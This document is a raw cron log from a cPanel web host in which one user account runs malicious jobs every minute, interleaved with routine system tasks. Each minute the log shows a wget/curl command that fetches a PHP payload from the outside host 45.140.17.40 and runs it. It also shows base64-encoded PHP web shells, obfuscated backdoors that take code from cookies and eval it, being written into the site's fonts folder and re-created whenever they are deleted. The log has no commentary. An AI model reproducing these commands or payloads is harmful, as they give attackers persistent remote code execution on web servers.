Sep  7 03:46:01 ip-184-168-122-23 CROND[9001]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 03:46:01 ip-184-168-122-23 CROND[9002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:46:01 ip-184-168-122-23 CROND[9000]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 03:46:01 ip-184-168-122-23 CROND[9003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:46:01 ip-184-168-122-23 CROND[9005]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  7 03:47:01 ip-184-168-122-23 CROND[9097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:47:01 ip-184-168-122-23 CROND[9098]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:47:01 ip-184-168-122-23 CROND[9096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:47:01 ip-184-168-122-23 CROND[9099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:48:01 ip-184-168-122-23 CROND[9187]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:48:01 ip-184-168-122-23 CROND[9191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:48:01 ip-184-168-122-23 CROND[9189]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 03:48:01 ip-184-168-122-23 CROND[9190]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:48:01 ip-184-168-122-23 CROND[9192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:49:01 ip-184-168-122-23 CROND[9392]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:49:01 ip-184-168-122-23 CROND[9391]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:49:01 ip-184-168-122-23 CROND[9395]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:49:01 ip-184-168-122-23 CROND[9398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:50:01 ip-184-168-122-23 CROND[9492]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:50:01 ip-184-168-122-23 CROND[9497]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 03:50:01 ip-184-168-122-23 CROND[9496]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:50:01 ip-184-168-122-23 CROND[9500]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 03:50:01 ip-184-168-122-23 CROND[9503]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 03:50:01 ip-184-168-122-23 CROND[9502]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 03:50:01 ip-184-168-122-23 CROND[9501]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:50:01 ip-184-168-122-23 CROND[9504]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 03:50:01 ip-184-168-122-23 CROND[9505]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:51:01 ip-184-168-122-23 CROND[9609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:51:01 ip-184-168-122-23 CROND[9610]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:51:01 ip-184-168-122-23 CROND[9611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:51:01 ip-184-168-122-23 CROND[9612]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:52:01 ip-184-168-122-23 CROND[9719]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 03:52:01 ip-184-168-122-23 CROND[9721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:52:01 ip-184-168-122-23 CROND[9720]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:52:01 ip-184-168-122-23 CROND[9723]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:52:01 ip-184-168-122-23 CROND[9722]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:53:01 ip-184-168-122-23 CROND[9841]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:53:01 ip-184-168-122-23 CROND[9844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:53:01 ip-184-168-122-23 CROND[9843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:53:01 ip-184-168-122-23 CROND[9845]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:54:01 ip-184-168-122-23 CROND[10029]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:54:01 ip-184-168-122-23 CROND[10030]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:54:01 ip-184-168-122-23 CROND[10034]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 03:54:01 ip-184-168-122-23 CROND[10033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:54:01 ip-184-168-122-23 CROND[10035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:55:01 ip-184-168-122-23 CROND[10148]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 03:55:01 ip-184-168-122-23 CROND[10153]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:55:01 ip-184-168-122-23 CROND[10151]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:55:01 ip-184-168-122-23 CROND[10149]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:55:01 ip-184-168-122-23 CROND[10150]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 03:55:01 ip-184-168-122-23 CROND[10152]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:56:01 ip-184-168-122-23 CROND[10255]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 03:56:01 ip-184-168-122-23 CROND[10256]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:56:01 ip-184-168-122-23 CROND[10257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:56:01 ip-184-168-122-23 CROND[10259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:56:01 ip-184-168-122-23 CROND[10260]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:57:01 ip-184-168-122-23 CROND[10377]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:57:01 ip-184-168-122-23 CROND[10380]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:57:01 ip-184-168-122-23 CROND[10379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:57:01 ip-184-168-122-23 CROND[10381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:58:01 ip-184-168-122-23 CROND[10490]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:58:01 ip-184-168-122-23 CROND[10492]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 03:58:01 ip-184-168-122-23 CROND[10494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
